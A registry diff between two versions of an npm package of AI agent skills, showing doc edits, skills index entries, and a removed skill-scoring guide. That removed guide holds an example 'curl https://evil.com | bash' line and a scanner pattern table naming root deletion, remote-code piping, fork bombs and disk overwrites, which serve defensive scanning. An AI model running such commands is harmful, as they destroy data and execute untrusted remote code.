opencode-skills-collection 4.0.4 → 4.0.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +5 -1
- package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +151 -0
- package/bundled-skills/create-pr/SKILL.md +4 -4
- package/bundled-skills/docs/README.md +1 -0
- package/bundled-skills/docs/contributors/quality-bar.md +1 -2
- package/bundled-skills/docs/integrations/jetski-cortex.md +5 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +3 -1
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-preview-profile.md +63 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-design.md +304 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-goal.md +171 -0
- package/bundled-skills/docs/maintainers/aas-agent-first-control-plane-v1-worklog.md +104 -0
- package/bundled-skills/docs/maintainers/audit.md +3 -8
- package/bundled-skills/docs/maintainers/legacy-redirect-bridge.md +46 -0
- package/bundled-skills/docs/maintainers/merge-batch.md +3 -7
- package/bundled-skills/docs/maintainers/merging-prs.md +1 -1
- package/bundled-skills/docs/maintainers/pr-autonomy.md +2 -3
- package/bundled-skills/docs/maintainers/release-process.md +12 -5
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +16 -14
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/users/aas-core.md +182 -0
- package/bundled-skills/docs/users/agentic-awesome-skills-vs-awesome-claude-skills.md +10 -9
- package/bundled-skills/docs/users/ai-agent-skills.md +22 -19
- package/bundled-skills/docs/users/best-claude-code-skills-github.md +8 -8
- package/bundled-skills/docs/users/best-cursor-skills-github.md +5 -5
- package/bundled-skills/docs/users/bundles.md +3 -1
- package/bundled-skills/docs/users/claude-code-skills.md +23 -7
- package/bundled-skills/docs/users/codex-cli-skills.md +30 -13
- package/bundled-skills/docs/users/discovery-manifest.md +6 -3
- package/bundled-skills/docs/users/faq.md +37 -10
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/getting-started.md +24 -10
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/plugins.md +15 -3
- package/bundled-skills/docs/users/skills-vs-mcp-tools.md +68 -49
- package/bundled-skills/docs/users/usage.md +50 -25
- package/bundled-skills/docs/users/visual-guide.md +28 -22
- package/bundled-skills/docs/vietnamese/AAS_CORE.vi.md +28 -0
- package/bundled-skills/docs/vietnamese/README.vi.md +10 -6
- package/bundled-skills/game-development/2d-games/SKILL.md +22 -19
- package/bundled-skills/game-development/SKILL.md +27 -35
- package/bundled-skills/game-development/engine-selection/SKILL.md +115 -0
- package/bundled-skills/game-development/web-games/SKILL.md +47 -45
- package/bundled-skills/git-advanced-workflows/SKILL.md +1 -11
- package/bundled-skills/git-pushing/SKILL.md +4 -4
- package/bundled-skills/markstream-install/SKILL.md +187 -0
- package/bundled-skills/markstream-install/references/scenarios.md +48 -0
- package/bundled-skills/modellix/SKILL.md +80 -0
- package/bundled-skills/pptx-deck-creation/SKILL.md +15 -7
- package/bundled-skills/pptx-deck-creation/references/audit-checklist.md +7 -3
- package/bundled-skills/pptx-deck-creation/references/ooxml-parsing.md +58 -0
- package/bundled-skills/pptx-deck-creation/references/{python-snippets.md → reference-deck-analysis-patterns.md} +1 -1
- package/bundled-skills/pptx-deck-creation/references/reference-deck-analysis.md +30 -8
- package/bundled-skills/pptx-deck-creation/references/visual-asset-adapters.md +23 -13
- package/bundled-skills/pr-writer/SKILL.md +2 -2
- package/bundled-skills/repo-maintainer/SKILL.md +4 -2
- package/bundled-skills/tools-page-seo-optimizer/SKILL.md +6 -6
- package/package.json +1 -1
- package/skills_index.json +121 -7
- package/bundled-skills/docs/contributors/skill-scoring.md +0 -235
|
@@ -31,6 +31,8 @@ Before mutation:
|
|
|
31
31
|
|
|
32
32
|
If the repository names a mandatory maintainer skill or guarded command, delegate to it instead of inventing a parallel branch, merge, sync, or release path. In `agentic-awesome-skills`, use `antigravity-maintainer-batch-release` and `npm run merge:batch`; `main` is pull-request-only.
|
|
33
33
|
|
|
34
|
+
The routine protected checks for `agentic-awesome-skills` are `pr-policy`, `pr-evidence`, `source-validation`, and `artifact-preview`. The supported AAS Core preview uses targeted unit tests plus one packed Linux/Node LTS smoke path and Workbench review. Do not resurrect the retired certified-v1 baseline, benchmark, tuning-gold, transaction-fault, race, or frozen OS/runtime matrix as routine merge gates.
|
|
35
|
+
|
|
34
36
|
## Usage
|
|
35
37
|
|
|
36
38
|
### 1. Establish the baseline
|
|
@@ -70,7 +72,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
|
|
|
70
72
|
#### CI and release health
|
|
71
73
|
|
|
72
74
|
- failing, cancelled, skipped, or stale workflow runs;
|
|
73
|
-
-
|
|
75
|
+
- stale, redundant, or unjustifiably broad runtime matrices and unpinned or obsolete actions;
|
|
74
76
|
- required checks, branch protection, release permissions, and secret boundaries;
|
|
75
77
|
- mismatch between documented and implemented release commands.
|
|
76
78
|
|
|
@@ -82,7 +84,7 @@ Treat audit-tool output as evidence to verify, not automatic permission to upgra
|
|
|
82
84
|
|
|
83
85
|
#### Code-quality signals
|
|
84
86
|
|
|
85
|
-
- dead code, stale
|
|
87
|
+
- dead code, stale implementation markers, debug logging, commented-out code, and missing tests;
|
|
86
88
|
- unsafe defaults, suppressed errors, credential exposure, and environment-specific paths.
|
|
87
89
|
|
|
88
90
|
For FAF projects only, also inspect declared `.faf`, `.faf-dna`, sync, score, and MCP contracts with the project's installed FAF commands.
|
|
@@ -593,12 +593,12 @@ seo:full() { seo:quick; }
|
|
|
593
593
|
|
|
594
594
|
## Related Skills
|
|
595
595
|
|
|
596
|
-
- [schema-markup-generator](
|
|
597
|
-
- [social-metadata-hardening](
|
|
598
|
-
- [indexing-issue-auditor](
|
|
599
|
-
- [pagespeed-enhancer](
|
|
600
|
-
- [wordpress-centric-high-seo-optimized-blogwriting-skill](
|
|
601
|
-
- [vibecode-production-qa-validator](
|
|
596
|
+
- [schema-markup-generator](../schema-markup-generator/SKILL.md) — JSON-LD structured data (HowTo, FAQPage, WebApplication) for tool pages
|
|
597
|
+
- [social-metadata-hardening](../social-metadata-hardening/SKILL.md) — OG tags and social sharing previews for tool pages
|
|
598
|
+
- [indexing-issue-auditor](../indexing-issue-auditor/SKILL.md) — full crawl audit and redirect mapping after slug changes
|
|
599
|
+
- [pagespeed-enhancer](../pagespeed-enhancer/SKILL.md) — Lighthouse / Core Web Vitals audit for tool pages
|
|
600
|
+
- [wordpress-centric-high-seo-optimized-blogwriting-skill](../wordpress-centric-high-seo-optimized-blogwriting-skill/SKILL.md) — blog post writing with SEO structure
|
|
601
|
+
- [vibecode-production-qa-validator](../vibecode-production-qa-validator/SKILL.md) — end-to-end production QA including deployment verification
|
|
602
602
|
|
|
603
603
|
---
|
|
604
604
|
|
package/package.json
CHANGED
package/skills_index.json
CHANGED
|
@@ -100,7 +100,7 @@
|
|
|
100
100
|
"path": "skills/game-development/2d-games",
|
|
101
101
|
"category": "game-development",
|
|
102
102
|
"name": "2d-games",
|
|
103
|
-
"description": "2D game development principles. Sprites, tilemaps, physics,
|
|
103
|
+
"description": "2D game development principles. Sprites, atlases, tilemaps, physics, cameras, and genre patterns (platformer, top-down). Use for canvas/Phaser/Kaplay/Pixi 2D games or guest viewports inside hybrid web apps.",
|
|
104
104
|
"risk": "none",
|
|
105
105
|
"source": "community",
|
|
106
106
|
"date_added": "2026-02-27",
|
|
@@ -2371,6 +2371,28 @@
|
|
|
2371
2371
|
"reasons": []
|
|
2372
2372
|
}
|
|
2373
2373
|
},
|
|
2374
|
+
{
|
|
2375
|
+
"id": "antigravity-maintainer-batch-release",
|
|
2376
|
+
"path": "skills/antigravity-maintainer-batch-release",
|
|
2377
|
+
"category": "uncategorized",
|
|
2378
|
+
"name": "antigravity-maintainer-batch-release",
|
|
2379
|
+
"description": "Run protected AAS maintainer sweeps, PR merge batches, canonical sync, Core preview checks, and scripted releases. Use for repository maintenance, main alignment, CLI/MCP/Workbench changes, or release work; not ordinary contribution tasks.",
|
|
2380
|
+
"risk": "critical",
|
|
2381
|
+
"source": "self",
|
|
2382
|
+
"date_added": "2026-07-18",
|
|
2383
|
+
"plugin": {
|
|
2384
|
+
"targets": {
|
|
2385
|
+
"codex": "supported",
|
|
2386
|
+
"claude": "supported"
|
|
2387
|
+
},
|
|
2388
|
+
"setup": {
|
|
2389
|
+
"type": "none",
|
|
2390
|
+
"summary": "",
|
|
2391
|
+
"docs": null
|
|
2392
|
+
},
|
|
2393
|
+
"reasons": []
|
|
2394
|
+
}
|
|
2395
|
+
},
|
|
2374
2396
|
{
|
|
2375
2397
|
"id": "antigravity-skill-orchestrator",
|
|
2376
2398
|
"path": "skills/antigravity-skill-orchestrator",
|
|
@@ -12530,7 +12552,7 @@
|
|
|
12530
12552
|
"path": "skills/create-pr",
|
|
12531
12553
|
"category": "workflow",
|
|
12532
12554
|
"name": "create-pr",
|
|
12533
|
-
"description": "Alias for
|
|
12555
|
+
"description": "Alias for pr-writer. Use when users explicitly ask for \"create-pr\" or reference the legacy skill name. Redirects to the canonical PR writing workflow.",
|
|
12534
12556
|
"risk": "unknown",
|
|
12535
12557
|
"source": "community",
|
|
12536
12558
|
"date_added": null,
|
|
@@ -16843,6 +16865,28 @@
|
|
|
16843
16865
|
"reasons": []
|
|
16844
16866
|
}
|
|
16845
16867
|
},
|
|
16868
|
+
{
|
|
16869
|
+
"id": "engine-selection",
|
|
16870
|
+
"path": "skills/game-development/engine-selection",
|
|
16871
|
+
"category": "game-development",
|
|
16872
|
+
"name": "engine-selection",
|
|
16873
|
+
"description": "Selects game engines and frameworks by platform, genre, and architecture (full canvas shell vs hybrid DOM shell + guest viewport). Covers Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, Ink, Twine. Use when choosing a stack or comparing runtimes before implementation.",
|
|
16874
|
+
"risk": "safe",
|
|
16875
|
+
"source": "self",
|
|
16876
|
+
"date_added": "2026-07-17",
|
|
16877
|
+
"plugin": {
|
|
16878
|
+
"targets": {
|
|
16879
|
+
"codex": "supported",
|
|
16880
|
+
"claude": "supported"
|
|
16881
|
+
},
|
|
16882
|
+
"setup": {
|
|
16883
|
+
"type": "none",
|
|
16884
|
+
"summary": "",
|
|
16885
|
+
"docs": null
|
|
16886
|
+
},
|
|
16887
|
+
"reasons": []
|
|
16888
|
+
}
|
|
16889
|
+
},
|
|
16846
16890
|
{
|
|
16847
16891
|
"id": "enhance-prompt",
|
|
16848
16892
|
"path": "skills/enhance-prompt",
|
|
@@ -19903,7 +19947,7 @@
|
|
|
19903
19947
|
"path": "skills/game-development",
|
|
19904
19948
|
"category": "game-development",
|
|
19905
19949
|
"name": "game-development",
|
|
19906
|
-
"description": "Game development orchestrator. Routes
|
|
19950
|
+
"description": "Game development orchestrator. Routes by platform, dimension, and engine fit (web 2D/3D, hybrid DOM+canvas, narrative tools). Use when starting or structuring a game project, choosing frameworks, or picking among Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js, Godot, Unity, or Ink/Twine.",
|
|
19907
19951
|
"risk": "unknown",
|
|
19908
19952
|
"source": "community",
|
|
19909
19953
|
"date_added": "2026-02-27",
|
|
@@ -27506,6 +27550,41 @@
|
|
|
27506
27550
|
"reasons": []
|
|
27507
27551
|
}
|
|
27508
27552
|
},
|
|
27553
|
+
{
|
|
27554
|
+
"id": "markstream-install",
|
|
27555
|
+
"path": "skills/markstream-install",
|
|
27556
|
+
"category": "frontend",
|
|
27557
|
+
"name": "markstream-install",
|
|
27558
|
+
"description": "Install and configure Markstream streaming Markdown renderers for Vue, React, Svelte, Angular, Nuxt, Next.js, and Vue 2 applications.",
|
|
27559
|
+
"risk": "safe",
|
|
27560
|
+
"source": "https://github.com/Simon-He95/markstream-vue/tree/main/.agents/skills/markstream-install",
|
|
27561
|
+
"date_added": "2026-07-19",
|
|
27562
|
+
"plugin": {
|
|
27563
|
+
"targets": {
|
|
27564
|
+
"codex": "supported",
|
|
27565
|
+
"claude": "supported"
|
|
27566
|
+
},
|
|
27567
|
+
"setup": {
|
|
27568
|
+
"type": "none",
|
|
27569
|
+
"summary": "",
|
|
27570
|
+
"docs": null
|
|
27571
|
+
},
|
|
27572
|
+
"reasons": []
|
|
27573
|
+
},
|
|
27574
|
+
"source_type": "official",
|
|
27575
|
+
"source_repo": "Simon-He95/markstream-vue",
|
|
27576
|
+
"license": "MIT",
|
|
27577
|
+
"license_source": "https://github.com/Simon-He95/markstream-vue/blob/main/license",
|
|
27578
|
+
"tags": [
|
|
27579
|
+
"markdown",
|
|
27580
|
+
"streaming",
|
|
27581
|
+
"vue",
|
|
27582
|
+
"react",
|
|
27583
|
+
"svelte",
|
|
27584
|
+
"angular",
|
|
27585
|
+
"ai-chat"
|
|
27586
|
+
]
|
|
27587
|
+
},
|
|
27509
27588
|
{
|
|
27510
27589
|
"id": "mason",
|
|
27511
27590
|
"path": "skills/agent-squad/mason",
|
|
@@ -28479,6 +28558,39 @@
|
|
|
28479
28558
|
"claude-code"
|
|
28480
28559
|
]
|
|
28481
28560
|
},
|
|
28561
|
+
{
|
|
28562
|
+
"id": "modellix",
|
|
28563
|
+
"path": "skills/modellix",
|
|
28564
|
+
"category": "creative",
|
|
28565
|
+
"name": "modellix",
|
|
28566
|
+
"description": "Integrate Modellix unified API/CLI for async AI image and video generation (model run --wait, task download).",
|
|
28567
|
+
"risk": "critical",
|
|
28568
|
+
"source": "community",
|
|
28569
|
+
"date_added": "2026-07-16",
|
|
28570
|
+
"plugin": {
|
|
28571
|
+
"targets": {
|
|
28572
|
+
"codex": "supported",
|
|
28573
|
+
"claude": "supported"
|
|
28574
|
+
},
|
|
28575
|
+
"setup": {
|
|
28576
|
+
"type": "none",
|
|
28577
|
+
"summary": "",
|
|
28578
|
+
"docs": null
|
|
28579
|
+
},
|
|
28580
|
+
"reasons": []
|
|
28581
|
+
},
|
|
28582
|
+
"source_type": "official",
|
|
28583
|
+
"source_repo": "Modellix/modellix-skill",
|
|
28584
|
+
"license": "MIT",
|
|
28585
|
+
"license_source": "https://github.com/Modellix/modellix-skill/blob/main/LICENSE",
|
|
28586
|
+
"tags": [
|
|
28587
|
+
"image-generation",
|
|
28588
|
+
"video-generation",
|
|
28589
|
+
"modellix",
|
|
28590
|
+
"cli",
|
|
28591
|
+
"api"
|
|
28592
|
+
]
|
|
28593
|
+
},
|
|
28482
28594
|
{
|
|
28483
28595
|
"id": "modern-javascript-patterns",
|
|
28484
28596
|
"path": "skills/modern-javascript-patterns",
|
|
@@ -42897,15 +43009,17 @@
|
|
|
42897
43009
|
"date_added": "2026-06-19",
|
|
42898
43010
|
"plugin": {
|
|
42899
43011
|
"targets": {
|
|
42900
|
-
"codex": "
|
|
42901
|
-
"claude": "
|
|
43012
|
+
"codex": "blocked",
|
|
43013
|
+
"claude": "blocked"
|
|
42902
43014
|
},
|
|
42903
43015
|
"setup": {
|
|
42904
43016
|
"type": "none",
|
|
42905
43017
|
"summary": "",
|
|
42906
43018
|
"docs": null
|
|
42907
43019
|
},
|
|
42908
|
-
"reasons": [
|
|
43020
|
+
"reasons": [
|
|
43021
|
+
"escaped_local_reference"
|
|
43022
|
+
]
|
|
42909
43023
|
},
|
|
42910
43024
|
"source_type": "community",
|
|
42911
43025
|
"tags": [
|
|
@@ -45696,7 +45810,7 @@
|
|
|
45696
45810
|
"path": "skills/game-development/web-games",
|
|
45697
45811
|
"category": "game-development",
|
|
45698
45812
|
"name": "web-games",
|
|
45699
|
-
"description": "Web browser game development
|
|
45813
|
+
"description": "Web browser game development. Framework selection (Phaser, PixiJS, Kaplay, Canvas/WebGL, Three.js, Babylon.js), hybrid DOM+canvas, WebGPU, optimization, PWA, audio unlock. Use when building HTML5/WebGL/WebGPU games or choosing a browser runtime.",
|
|
45700
45814
|
"risk": "unknown",
|
|
45701
45815
|
"source": "community",
|
|
45702
45816
|
"date_added": "2026-02-27",
|
|
@@ -1,235 +0,0 @@
|
|
|
1
|
-
# Skill Quality Scoring
|
|
2
|
-
|
|
3
|
-
This document describes the optional skill quality scoring system introduced in the
|
|
4
|
-
AI Skill Registry Validation Framework.
|
|
5
|
-
|
|
6
|
-
Scores are **informational only** — they never block skill usage, CI pipelines,
|
|
7
|
-
or PR merges. They exist to help contributors understand the quality of their
|
|
8
|
-
skills and to help maintainers prioritize improvements.
|
|
9
|
-
|
|
10
|
-
---
|
|
11
|
-
|
|
12
|
-
## Overview
|
|
13
|
-
|
|
14
|
-
Each skill receives a **total score** between 0 and 100, computed as a weighted
|
|
15
|
-
average of three dimensions:
|
|
16
|
-
|
|
17
|
-
| Dimension | Weight | What it measures |
|
|
18
|
-
|-----------------|--------|------------------|
|
|
19
|
-
| Metadata | 30% | Frontmatter completeness and correctness |
|
|
20
|
-
| Documentation | 40% | Section coverage, code examples, content depth |
|
|
21
|
-
| Security | 30% | Absence of dangerous command patterns |
|
|
22
|
-
|
|
23
|
-
---
|
|
24
|
-
|
|
25
|
-
## Quality Labels
|
|
26
|
-
|
|
27
|
-
| Label | Score Range | Meaning |
|
|
28
|
-
|-------------------|-------------|---------|
|
|
29
|
-
| `excellent` | 85–100 | Well-documented, complete metadata, no security flags |
|
|
30
|
-
| `good` | 65–84 | Solid skill with minor gaps |
|
|
31
|
-
| `needs_improvement` | 45–64 | Missing sections or metadata fields |
|
|
32
|
-
| `critical` | 0–44 | Significant gaps — review recommended before sharing |
|
|
33
|
-
|
|
34
|
-
---
|
|
35
|
-
|
|
36
|
-
## Metadata Score (30%)
|
|
37
|
-
|
|
38
|
-
The metadata dimension evaluates frontmatter field completeness.
|
|
39
|
-
|
|
40
|
-
**Penalties:**
|
|
41
|
-
|
|
42
|
-
| Issue | Deduction |
|
|
43
|
-
|---|---|
|
|
44
|
-
| `name` missing or mismatched with folder | −25 pts |
|
|
45
|
-
| `description` missing | −20 pts |
|
|
46
|
-
| `description` shorter than 20 characters | −10 pts |
|
|
47
|
-
| `risk` missing | −15 pts |
|
|
48
|
-
| `risk: unknown` (unclassified) | −10 pts |
|
|
49
|
-
| `source` missing | −15 pts |
|
|
50
|
-
| `date_added` missing | −10 pts |
|
|
51
|
-
|
|
52
|
-
**Bonuses (optional fields):**
|
|
53
|
-
|
|
54
|
-
Each optional field filled (`category`, `tags`, `author`, `tools`, `license`) adds
|
|
55
|
-
**+5 pts**, capped at 100.
|
|
56
|
-
|
|
57
|
-
---
|
|
58
|
-
|
|
59
|
-
## Documentation Score (40%)
|
|
60
|
-
|
|
61
|
-
The documentation dimension evaluates section coverage and content depth.
|
|
62
|
-
|
|
63
|
-
**Section coverage (up to 60 pts):**
|
|
64
|
-
|
|
65
|
-
The scorer looks for these sections (case-insensitive):
|
|
66
|
-
|
|
67
|
-
- `## Overview`
|
|
68
|
-
- `## How It Works`
|
|
69
|
-
- `## Examples` / `## Usage`
|
|
70
|
-
- `## Best Practices`
|
|
71
|
-
- `## Limitations`
|
|
72
|
-
- `## When to Use`
|
|
73
|
-
|
|
74
|
-
Each section found contributes equally to the section coverage score.
|
|
75
|
-
|
|
76
|
-
**Depth score (up to 40 pts):**
|
|
77
|
-
|
|
78
|
-
| Signal | Points |
|
|
79
|
-
|---|---|
|
|
80
|
-
| Has `## When to Use` section | +10 |
|
|
81
|
-
| Has at least one fenced code block (` ``` `) | +10 |
|
|
82
|
-
| Body length ≥ 500 characters | +10 |
|
|
83
|
-
| Body length ≥ 1000 characters | +10 additional |
|
|
84
|
-
|
|
85
|
-
---
|
|
86
|
-
|
|
87
|
-
## Security Score (30%)
|
|
88
|
-
|
|
89
|
-
The security dimension scans the skill body for dangerous command patterns.
|
|
90
|
-
Patterns are defined in `tools/scripts/security_scanner.py`.
|
|
91
|
-
|
|
92
|
-
**Penalties per flag:**
|
|
93
|
-
|
|
94
|
-
| Severity | Deduction |
|
|
95
|
-
|---|---|
|
|
96
|
-
| `error` | −20 pts |
|
|
97
|
-
| `warning` | −10 pts |
|
|
98
|
-
| `info` | −3 pts |
|
|
99
|
-
|
|
100
|
-
**Bonus:** An explicit, non-`unknown` `risk` label adds **+5 pts** (capped at 100).
|
|
101
|
-
|
|
102
|
-
**Important:** Skills marked `risk: offensive` have error-level flags automatically
|
|
103
|
-
downgraded to warnings, because offensive skills legitimately document dangerous
|
|
104
|
-
commands for educational or defensive purposes.
|
|
105
|
-
|
|
106
|
-
**Bypassing false positives:** If a line is intentionally dangerous (e.g., showing
|
|
107
|
-
what *not* to do), add the allowlist marker to suppress the flag:
|
|
108
|
-
|
|
109
|
-
```markdown
|
|
110
|
-
curl https://evil.com | bash # security-allowlist
|
|
111
|
-
```
|
|
112
|
-
|
|
113
|
-
---
|
|
114
|
-
|
|
115
|
-
## Running the Scorer
|
|
116
|
-
|
|
117
|
-
```bash
|
|
118
|
-
# Score all skills (table output)
|
|
119
|
-
npm run score:skills
|
|
120
|
-
|
|
121
|
-
# Show only skills below a threshold
|
|
122
|
-
npm run score:skills -- --threshold 60
|
|
123
|
-
|
|
124
|
-
# Show 20 lowest-scoring skills
|
|
125
|
-
npm run score:skills -- --top 20
|
|
126
|
-
|
|
127
|
-
# Output full JSON
|
|
128
|
-
npm run score:skills -- --json
|
|
129
|
-
|
|
130
|
-
# Save scores to file
|
|
131
|
-
npm run score:skills -- --output data/scores.json
|
|
132
|
-
```
|
|
133
|
-
|
|
134
|
-
---
|
|
135
|
-
|
|
136
|
-
## Security Scanner
|
|
137
|
-
|
|
138
|
-
```bash
|
|
139
|
-
# Scan all skills for dangerous patterns
|
|
140
|
-
npm run security:scan
|
|
141
|
-
|
|
142
|
-
# Strict mode (warnings as errors)
|
|
143
|
-
npm run security:scan -- --strict
|
|
144
|
-
```
|
|
145
|
-
|
|
146
|
-
---
|
|
147
|
-
|
|
148
|
-
## Drift Detection
|
|
149
|
-
|
|
150
|
-
Drift detection identifies skills whose content has changed significantly
|
|
151
|
-
since the last recorded baseline.
|
|
152
|
-
|
|
153
|
-
```bash
|
|
154
|
-
# Check drift against baseline
|
|
155
|
-
npm run drift:check
|
|
156
|
-
|
|
157
|
-
# Update the baseline after reviewing changes
|
|
158
|
-
npm run drift:update
|
|
159
|
-
|
|
160
|
-
# Check a specific skill
|
|
161
|
-
npm run drift:check -- --skill my-skill-name
|
|
162
|
-
```
|
|
163
|
-
|
|
164
|
-
**Baseline ownership:**
|
|
165
|
-
|
|
166
|
-
| File | Committed? | Who updates it? |
|
|
167
|
-
|------|-----------|-----------------|
|
|
168
|
-
| `data/drift-baseline.json` | No — listed in `.gitignore` | Maintainers run `npm run drift:update` on `main` after merging changes |
|
|
169
|
-
| `data/registry-report.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
|
170
|
-
| `data/scores.json` | No — listed in `.gitignore` | Generated locally on demand; never in PRs |
|
|
171
|
-
|
|
172
|
-
Contributors should never commit these files. If you accidentally generate them
|
|
173
|
-
locally, they will be ignored by git automatically.
|
|
174
|
-
|
|
175
|
-
---
|
|
176
|
-
|
|
177
|
-
## Registry Report
|
|
178
|
-
|
|
179
|
-
```bash
|
|
180
|
-
# Generate a full registry health report → data/registry-report.json
|
|
181
|
-
npm run registry:report
|
|
182
|
-
|
|
183
|
-
# Skip drift detection (faster)
|
|
184
|
-
npm run registry:report -- --no-drift
|
|
185
|
-
```
|
|
186
|
-
|
|
187
|
-
The report includes:
|
|
188
|
-
- Aggregate scoring summary
|
|
189
|
-
- Per-skill scores and flags
|
|
190
|
-
- Drift summary (added / removed / modified skills)
|
|
191
|
-
- Risk breakdown
|
|
192
|
-
- Security flag counts
|
|
193
|
-
|
|
194
|
-
---
|
|
195
|
-
|
|
196
|
-
## Security Patterns Reference
|
|
197
|
-
|
|
198
|
-
| Code | Pattern | Severity | Description |
|
|
199
|
-
|--------|---------|----------|-------------|
|
|
200
|
-
| SEC001 | `rm -rf /` | error | Destructive root filesystem deletion |
|
|
201
|
-
| SEC002 | `curl \| bash` | error | Remote code execution |
|
|
202
|
-
| SEC003 | `wget \| sh` | error | Remote code execution |
|
|
203
|
-
| SEC004 | `Invoke-Expression` | error | PowerShell RCE |
|
|
204
|
-
| SEC005 | `iex` | warning | PowerShell alias (context-dependent) |
|
|
205
|
-
| SEC006 | `chmod 7xx` | warning | World-writable permissions |
|
|
206
|
-
| SEC007 | `eval(` | warning | Dynamic evaluation |
|
|
207
|
-
| SEC008 | `base64 -d \|` | warning | Possible payload obfuscation |
|
|
208
|
-
| SEC009 | Hardcoded credential | error | Secrets in source |
|
|
209
|
-
| SEC010 | `sudo rm -rf` | warning | Privileged destructive deletion |
|
|
210
|
-
| SEC011 | Fork bomb | error | Infinite process spawner |
|
|
211
|
-
| SEC012 | `dd if=/dev/* of=/dev/sd*` | error | Raw disk overwrite |
|
|
212
|
-
|
|
213
|
-
---
|
|
214
|
-
|
|
215
|
-
## Frequently Asked Questions
|
|
216
|
-
|
|
217
|
-
**Q: Will a low score prevent my skill from being merged?**
|
|
218
|
-
|
|
219
|
-
No. Scores are informational. The existing `validate_skills.py` checks are what
|
|
220
|
-
gate merges.
|
|
221
|
-
|
|
222
|
-
**Q: My skill teaches how to avoid `curl | bash` — why is it flagged?**
|
|
223
|
-
|
|
224
|
-
Add `# security-allowlist` at the end of the line showing the dangerous pattern.
|
|
225
|
-
This follows the existing project convention for educational examples.
|
|
226
|
-
|
|
227
|
-
**Q: Why is documentation weighted higher than metadata?**
|
|
228
|
-
|
|
229
|
-
Documentation quality has the highest impact on how useful a skill is to end users.
|
|
230
|
-
Complete metadata is valuable but less critical than clear instructions.
|
|
231
|
-
|
|
232
|
-
**Q: How does `risk: offensive` affect scoring?**
|
|
233
|
-
|
|
234
|
-
Security error flags are downgraded to warnings for offensive skills, because they
|
|
235
|
-
legitimately document dangerous techniques for authorized security work.
|